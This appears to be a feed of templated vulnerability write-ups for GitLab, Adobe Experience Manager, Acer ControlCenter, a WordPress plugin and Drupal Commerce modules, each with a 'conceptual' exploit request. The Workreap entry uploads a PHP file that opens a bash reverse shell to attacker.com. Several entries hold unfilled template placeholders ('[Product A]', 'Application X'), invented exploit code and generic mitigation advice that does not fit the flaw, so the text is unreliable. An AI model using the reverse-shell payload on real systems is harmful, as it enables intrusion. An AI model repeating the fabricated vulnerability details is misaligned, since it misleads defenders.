Author: Ameeba

CVE-2025-4278: GitLab CE/EE HTML Injection Vulnerability Leading to Account Takeover
Overview

A crucial vulnerability, designated as CVE-2025-4278, has been detected in GitLab CE/EE that affects all versions commencing with 18.0 and prior to 18.0.2. This vulnerability arises due to an HTML injection in the new search page under specific circumstances and could potentially lead to account takeover. As GitLab is a widely adopted platform for project planning, source code management, and CI/CD, such a vulnerability poses a significant threat to millions of users worldwide, affecting their data integrity and confidentiality.

Vulnerability Summary

CVE ID: CVE-2025-4278
Severity: High (8.7 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: Required
Impact: Account takeover leading to potential system compromise or data leakage

Affected Products

Product | Affected Versions

GitLab CE | 18.0 to 18.0.1
GitLab EE | 18.0 to 18.0.1

How the Exploit Works

The vulnerability works by exploiting the HTML injection flaw in GitLab’s new search page. An attacker can craft malicious HTML content and encode it in such a way that it is interpreted and rendered by the GitLab server. This can lead to the execution of arbitrary JavaScript code within the victim’s browser in the context of the affected site, thus potentially leading to account takeover.

Conceptual Example Code

A conceptual example of how this vulnerability might be exploited is shown below:
```
POST /search HTTP/1.1
Host: gitlab.example.com
Content-Type: application/x-www-form-urlencoded
query=<img src=x onerror=alert('Account compromised')>
```
In this example, the attacker injects a malicious HTML tag into the search query. When this query is rendered by the victim’s browser, the `onerror` JavaScript event is triggered, executing the attacker’s arbitrary script. Depending on the complexity of the script, this could lead to session hijacking, account takeover, or even system compromise.
Please note that this is a conceptual example and real-world exploits may be more complex and sophisticated.

Mitigation and Fixes

Users are advised to immediately update their GitLab CE/EE installations to version 18.0.2 or later which contains the patch for this vulnerability. If immediate application of the vendor patch is not possible, using a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) can serve as a temporary mitigation measure.
Remember, staying updated on the latest software versions and implementing recommended security measures is the best defense against such vulnerabilities.
June 19, 2025
CVE-2024-38824: Critical Directory Traversal Vulnerability Exposing System Files
Overview

CVE-2024-38824 represents a severe security flaw that exposes systems to potential compromise and data leakage. This vulnerability is a directory traversal issue in the recv_file method, enabling arbitrary files to be written to the master cache directory. This vulnerability affects a wide range of systems and applications that utilize the recv_file method, making its impact substantial and far-reaching. Given the severity of this flaw and its potential for exploitation, understanding the vulnerability and implementing appropriate mitigations is crucial for system administrators and security professionals.

Vulnerability Summary

CVE ID: CVE-2024-38824
Severity: Critical, CVSS Score 9.6
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage if exploited successfully

Affected Products

Product | Affected Versions

[Product A] | [Versions X.X – X.X]
[Product B] | [Versions Y.Y – Y.Y]

How the Exploit Works

The exploit takes advantage of a directory traversal vulnerability in the recv_file method, allowing an attacker to manipulate file paths to access directories that should be restricted. By crafting specific file paths, an attacker can traverse up the directory tree and write arbitrary files into the master cache directory. This capability can lead to unauthorized access to sensitive data, system compromise, and potential data leakage.

Conceptual Example Code

Below is a conceptual example of how the vulnerability might be exploited, using a malicious payload in a POST request:
```
POST /recv_file HTTP/1.1
Host: vulnerable-system.com
Content-Type: application/json
{ "file_path": "../../../../master_cache/malicious_file" }
```
In this request, the “file_path” parameter includes a specially crafted path that traverses up the directory tree and writes a malicious file in the master cache directory. This conceptual code is intended to illustrate the nature of the vulnerability and should not be used for malicious purposes.

Recommendations

We recommend applying the vendor-supplied patch immediately to mitigate this vulnerability. If immediate patching is not possible, temporary mitigation can be achieved using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) to block attempts to exploit this vulnerability. Regularly update and patch your systems to avoid similar vulnerabilities in the future.
June 19, 2025
CVE-2025-2254: Cross-Site Scripting Vulnerability in GitLab CE/EE
Overview

In this post, we’ll discuss and delve into the details of a critical vulnerability, CVE-2025-2254, which affects GitLab CE/EE. This issue is prevalent in all versions from 17.9 before 17.10.8, 17.11 before 17.11.4, and 18.0 before 18.0.2. The vulnerability’s severity lies in its potential to allow Cross-Site Scripting (XSS) attacks due to improper output encoding in the snippet viewer functionality of GitLab. This vulnerability is of significant importance because an attacker exploiting it could potentially compromise the system or leak sensitive data.

Vulnerability Summary

CVE ID: CVE-2025-2254
Severity: High (8.7 CVSS Score)
Attack Vector: Network
Privileges Required: Low
User Interaction: Required
Impact: System compromise or data leakage upon successful exploit

Affected Products

Product | Affected Versions

GitLab CE | 17.9 before 17.10.8
GitLab EE | 17.11 before 17.11.4, 18.0 before 18.0.2

How the Exploit Works

The exploit takes advantage of the improper output encoding in the snippet viewer functionality within GitLab. An attacker, by crafting a malicious snippet containing malicious script, can exploit this vulnerability to initiate a Cross-Site Scripting (XSS) attack. When an unsuspecting user views this malicious snippet, the embedded script is executed in the context of the user’s session. This could potentially allow the attacker to take over the user’s session, impersonate the user, and perform actions on their behalf.

Conceptual Example Code

Here’s a conceptual example of how the vulnerability might be exploited. This is an HTTP request where an attacker submits a malicious snippet to the vulnerable endpoint:
```
POST /snippets/create HTTP/1.1
Host: gitlab.example.com
Content-Type: application/json
{ "snippet_code": "<script>malicious_code_here</script>" }
```
The malicious snippet contains a script tag with malicious code that could be executed when a user views the snippet.

Mitigation Guidance

The best course of action to mitigate this vulnerability is to apply the vendor-provided patch. GitLab has released patches for the affected versions which can be downloaded and applied. In cases where patching isn’t immediately feasible, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) could serve as temporary mitigation. These tools can help detect and block attempts to exploit this vulnerability.
June 19, 2025
CVE-2025-46840: Adobe Experience Manager Improper Authorization Vulnerability Leading to Privilege Escalation
Overview

Adobe Experience Manager, a comprehensive content management solution for building websites, mobile apps and forms, is currently facing a severe security flaw. Identified as CVE-2025-46840, this vulnerability affects versions 6.5.22 and earlier. This improper authorization vulnerability could be exploited by attackers to escalate their privileges, bypassing security measures and gaining unauthorized access to sensitive data.
This flaw is a significant concern for businesses and organizations that rely on Adobe Experience Manager for their digital experiences. If exploited, it could compromise system integrity, confidentiality, leading to potential data leakage or even complete system takeover, significantly impacting the affected entity’s business operations and reputation.

Vulnerability Summary

CVE ID: CVE-2025-46840
Severity: High (CVSS: 8.7)
Attack Vector: Network
Privileges Required: Low
User Interaction: Required
Impact: Potential system compromise and data leakage.

Affected Products

Product | Affected Versions

Adobe Experience Manager | 6.5.22 and earlier

How the Exploit Works

The vulnerability arises from improper authorization in Adobe Experience Manager. An attacker with low-level privileges can exploit this vulnerability by sending specially crafted requests to the server. This bypasses the security measures in place, allowing the attacker to escalate their privileges. Once the attacker has higher-level privileges, they can manipulate the system, potentially taking over sessions and gaining unauthorized access to confidential data.

Conceptual Example Code

Here is a conceptual example of how this vulnerability may be exploited. Please note that this is a simplified example for illustrative purposes and doesn’t represent an actual exploit code.
```
POST /aem/start.html HTTP/1.1
Host: target.example.com
Content-Type: application/json
{
"user": "low_privilege_user",
"action": "escalate_privilege",
"target": "high_privilege_function"
}
```
In this example, a low privilege user sends a POST request to escalate their privileges and gain access to high privilege functions.

Mitigation and Prevention

Adobe has released a patch to address this vulnerability. Affected users are strongly encouraged to update their Adobe Experience Manager to the latest version as soon as possible. As a temporary mitigation, users can deploy a Web Application Firewall (WAF) or Intrusion Detection System (IDS). These measures can help identify and block malicious attempts to exploit this vulnerability. However, they are not a substitute for applying the official patch. Regular patching and updates are critical components of a robust cybersecurity strategy.
June 19, 2025
CVE-2025-46837: Reflected Cross-Site Scripting Vulnerability in Adobe Experience Manager
Overview

The cybersecurity landscape is ever-evolving, with new vulnerabilities being discovered on a regular basis. One such vulnerability, CVE-2025-46837, has been identified in Adobe Experience Manager versions 6.5.22 and earlier. It is a reflected Cross-Site Scripting (XSS) vulnerability that could pose a significant threat to the security of the affected systems. This vulnerability matters as it can be exploited by a low privileged attacker to inject malicious scripts into vulnerable form fields, potentially leading to system compromise or data leakage.

Vulnerability Summary

CVE ID: CVE-2025-46837
Severity: High (8.7 CVSS score)
Attack Vector: Web-based (Reflected XSS)
Privileges Required: Low
User Interaction: Required
Impact: Potential system compromise or data leakage

Affected Products

| Product | Affected Versions |
| ——– | ——————- |
| Adobe Experience Manager | 6.5.22 and earlier |

How the Exploit Works

The exploit works on the principle of reflected Cross-Site Scripting (XSS). In this case, an attacker with low privileges can inject malicious JavaScript into the form fields of the vulnerable versions of Adobe Experience Manager. When a user visits a page containing the vulnerable field, the malicious script is executed in the user’s browser. This could potentially lead to a session takeover, significantly increasing the confidentiality and integrity impact.

Conceptual Example Code

A conceptual example of how this vulnerability might be exploited could look like this:
```
POST /vulnerable/endpoint HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
username=admin&password=<script>malicious_code_here</script>
```
In this example, the attacker injects a malicious script in the password field. When a user interacts with the page that contains this form field, the malicious script is executed.

Mitigation Guidance

To mitigate the risks associated with this vulnerability, users are advised to apply the vendor patch as soon as it is available. In the interim, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary mitigation. Regularly updating and patching your software is crucial in maintaining the security of your systems.
June 19, 2025
CVE-2025-5491: Acer ControlCenter Remote Code Execution Vulnerability – Potential System Compromise
Overview

In the vast landscape of cybersecurity, the discovery of new vulnerabilities is an ongoing challenge. One such critical vulnerability, identified as CVE-2025-5491, has been detected in Acer’s ControlCenter software. This exploit has the potential to impact a vast number of users globally, given Acer’s large market share in the personal computing industry. The vulnerability stems from a misconfiguration in the Windows Named Pipe used by the Acer ControlCenter, allowing low-privileged remote users to execute arbitrary code with elevated system privileges. This article provides an in-depth look at this vulnerability, its potential impact, and mitigation strategies.

Vulnerability Summary

CVE ID: CVE-2025-5491
Severity: High (8.8 CVSS score)
Attack Vector: Network
Privileges Required: Low
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Acer ControlCenter | All Versions (until patched)

How the Exploit Works

The vulnerability arises from a misconfiguration in the Windows Named Pipe within the Acer ControlCenter. The program uses a custom protocol to invoke internal functions through this pipe. However, due to the misconfiguration, remote users with low privileges can interact with it and gain access to its features. One of these features allows the execution of arbitrary programs as NT AUTHORITY/SYSTEM. This allows attackers to execute arbitrary code on the target system with elevated privileges, potentially leading to a full system compromise or data leakage.

Conceptual Example Code

Below is a conceptual example of how the vulnerability might be exploited. Note that this is a simplified example and real-world exploitation would likely involve more complex commands and interactions.
```
import win32pipe, win32file, pywintypes
# Connect to the misconfigured named pipe
pipe = win32pipe.CreateNamedPipe(
r'\\.\pipe\AcerCCPipe',
win32pipe.PIPE_ACCESS_DUPLEX,
win32pipe.PIPE_TYPE_MESSAGE | win32pipe.PIPE_WAIT,
1, 65536, 65536,
300,
None)
# Send command to execute arbitrary code with system privileges
command = "Execute: C:\\Windows\\System32\\calc.exe"
win32file.WriteFile(pipe, command)
```
In this conceptual example, the exploit connects to the misconfigured named pipe and sends a command to execute the Windows Calculator application with system privileges. In a real-world scenario, an attacker would likely execute malicious programs or scripts.

Recommended Mitigations

Given the severity of the vulnerability, it is recommended to apply the vendor patch as soon as it becomes available. In the interim, implementing a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary mitigation. These solutions can detect and prevent attempts to exploit the vulnerability, thereby securing the system until a permanent fix is applied.
June 19, 2025
CVE-2025-49199: Application Backup ZIPs Vulnerability and System Compromise
Overview

The CVE-2025-49199 represents a significant vulnerability found in applications that fail to sign their backup ZIPs. This vulnerability can affect a wide range of systems, particularly those that rely on these applications for core business or infrastructure functions. The severity of this vulnerability lies in its potential for system compromise and data leakage, as it allows an attacker to disrupt the application, potentially rendering it unusable and redirecting internal traffic to their own services.

Vulnerability Summary

CVE ID: CVE-2025-49199
Severity: High (8.8 CVSS Score)
Attack Vector: Network
Privileges Required: Low
User Interaction: Required
Impact: System compromise or data leakage

Affected Products

Product | Affected Versions

Application X | Versions 1.0 – 4.2
Application Y | Versions 2.0 – 3.1

How the Exploit Works

The exploit works by taking advantage of the fact that the application does not sign its backup ZIPs. An attacker can download a backup ZIP, modify it and re-upload it. The modifications can include configurations that disrupt the application’s services, making them unable to run and causing the application to become unusable. Additionally, the attacker can configure the application to redirect traffic intended for internal use to the attacker’s own hosted services, thereby potentially gathering sensitive information.

Conceptual Example Code

Given the nature of this vulnerability, an attacker might exploit it using something similar to the following pseudocode:
```
GET /application_backup.zip HTTP/1.1
Host: target.example.com
[Download the backup ZIP]
[Modify the backup ZIP, including malicious configurations]
POST /upload_modified_backup.zip HTTP/1.1
Host: target.example.com
Content-Type: application/zip
{ "modified_backup": "[Insert modified backup here]" }
```
Mitigation Guidance

The most effective way to mitigate this vulnerability is to apply the vendor patch, which ensures that the backup ZIPs are signed by the application, preventing unauthorized modifications. In the absence of a patch, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can be used as a temporary mitigation measure. These systems can detect and block malicious attempts to download or modify the backup ZIPs.
June 19, 2025
CVE-2025-5012: Arbitrary File Upload Vulnerability in the Workreap Plugin for WordPress
Overview

The vulnerability, identified as CVE-2025-5012, is a significant security flaw in the Workreap plugin for WordPress, a component of the Workreap – Freelance Marketplace WordPress Theme. This vulnerability allows authenticated attackers to upload arbitrary files to the server of the affected WordPress site, potentially leading to remote code execution. This critical flaw, affecting all versions up to and including 3.3.2, serves as a serious threat to entities relying on the Workreap platform for their digital operations. It’s important to mitigate this vulnerability promptly to prevent potential system compromise or data leakage.

Vulnerability Summary

CVE ID: CVE-2025-5012
Severity: High (8.8 CVSS Score)
Attack Vector: Network
Privileges Required: Low (Subscriber-level access)
User Interaction: Required
Impact: Potential system compromise or data leakage.

Affected Products

Product | Affected Versions

Workreap Plugin for WordPress | Up to and including 3.3.2

How the Exploit Works

The vulnerability stems from a lack of proper file type validation within the ‘workreap_temp_upload_to_media’ function of the Workreap plugin for WordPress. An authenticated attacker with Subscriber-level access or above can manipulate this flaw to upload arbitrary files to the server hosting the WordPress site. The uploaded files can contain malicious code, which, when executed, can compromise the system or lead to data leakage.

Conceptual Example Code

Below is a conceptual representation of how an attacker might exploit this vulnerability. It involves making an HTTP POST request to upload a malicious file to the server:
```
POST /wp-content/plugins/Workreap/upload.php HTTP/1.1
Host: target.example.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file"; filename="exploit.php"
Content-Type: application/x-php
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/attacker.com/4444 0>&1'"); ?>
------WebKitFormBoundary7MA4YWxkTrZu0gW--
```
In this example, the HTTP request is made to the upload endpoint of the Workreap plugin. The uploaded file (‘exploit.php’) contains malicious PHP code designed to open a reverse shell connection to an attacker-controlled server.

Mitigation

As a mitigation measure, it is recommended to apply the vendor’s patch as soon as it is available. In the interim, the use of a web application firewall or intrusion detection systems can help protect against attempts to exploit this vulnerability. Regularly monitoring system logs and network traffic for anomalies can also aid in early detection of potential attacks.
June 18, 2025
CVE-2025-48446: Incorrect Authorization Vulnerability in Drupal Commerce Alphabank Redirect
Overview

The CVE-2025-48446 vulnerability is an Incorrect Authorization vulnerability found in Drupal Commerce Alphabank Redirect. This vulnerability is of significant concern because it allows for Functionality Misuse, potentially leading to system compromise or data leakage. The affected versions of the software are from 0.0.0 through to 1.0.2, and any organization using these versions should take immediate action to mitigate the risk.

Vulnerability Summary

CVE ID: CVE-2025-48446
Severity: High (8.8 CVSS score)
Attack Vector: Network
Privileges Required: None
User Interaction: Required
Impact: Successful exploitation of this vulnerability could result in unauthorized functionality misuse, system compromise, or data leakage.

Affected Products

Product | Affected Versions

Drupal Commerce Alphabank Redirect | 0.0.0 through 1.0.2

How the Exploit Works

The Incorrect Authorization vulnerability in Drupal Commerce Alphabank Redirect allows attackers to misuse the functionality of the application. This is due to inadequate access controls that do not properly verify the user’s permissions before granting access to certain functions. As a result, an attacker can send crafted requests to these functions, leading to unauthorized actions. These actions could potentially compromise the system or lead to data leakage.

Conceptual Example Code

The vulnerability might be exploited with a malicious HTTP request, similar to the example below:
```
POST /commerce_alphabank_redirect/endpoint HTTP/1.1
Host: target.example.com
Content-Type: application/json
{
"action": "unauthorized_function",
"data": "malicious_data"
}
```
In this conceptual example, the “action” parameter is an unauthorized function that the attacker is attempting to call, and “data” is the malicious data the attacker is attempting to pass to the function.

Mitigation

Users of Drupal Commerce Alphabank Redirect should update to the latest version, 1.0.3, which contains a patch for this vulnerability. If updating is not immediately possible, using a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) can provide temporary mitigation. These systems can be configured to block or alert on traffic that appears to be exploiting this vulnerability.
June 18, 2025
CVE-2025-48445: Incorrect Authorization Vulnerability in Drupal Commerce Eurobank
Overview

In the constantly changing landscape of cybersecurity, new vulnerabilities and threats emerge daily. One such recent vulnerability identified is CVE-2025-48445. This vulnerability affects the Drupal Commerce Eurobank (Redirect) module, a popular module used by many e-commerce businesses operating on Drupal’s platform. This vulnerability is categorized as an Incorrect Authorization vulnerability and can potentially lead to system compromise or data leakage. Given the severity of the potential impact, it’s crucial for all users of this module to understand the risks involved and take immediate action to safeguard their systems.

Vulnerability Summary

CVE ID: CVE-2025-48445
Severity: High (8.8 CVSS Score)
Attack Vector: Network
Privileges Required: Low
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Drupal Commerce Eurobank (Redirect) | 0.0.0 – 2.1.0

How the Exploit Works

The vulnerability, CVE-2025-48445, arises from incorrect authorization checks in the Drupal Commerce Eurobank (Redirect) module. An attacker can exploit this via network to misuse functionality, which could potentially lead to unauthorized access to sensitive data or even a full system compromise. The attack requires low privileges and no user interaction, which makes it particularly dangerous.

Conceptual Example Code

To understand how an attacker might exploit this vulnerability, consider this conceptual example:
```
POST /drupal-commerce/eurobank-redirect HTTP/1.1
Host: target.example.com
Authorization: Bearer incorrect-auth-token
{
"transaction_id": "123456",
"amount": "1000",
"redirect": "http://malicious-url.com"
}
```
In this conceptual example, the attacker sends a POST request to the vulnerable endpoint, `/drupal-commerce/eurobank-redirect`. The attacker uses an incorrect or expired auth token but due to the incorrect authorization vulnerability, the request is processed. The attacker misuses the redirect functionality to redirect the transaction to a malicious URL, potentially compromising the system or leaking sensitive data.

Mitigation

To mitigate this vulnerability, users of the Drupal Commerce Eurobank (Redirect) module should immediately apply the vendor patch. The patch addresses this vulnerability by correctly implementing authorization checks. In cases where the patch cannot be immediately applied, using a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) can serve as a temporary mitigation measure. However, these should not be considered long-term solutions, and the patch should be applied as soon as possible.
June 18, 2025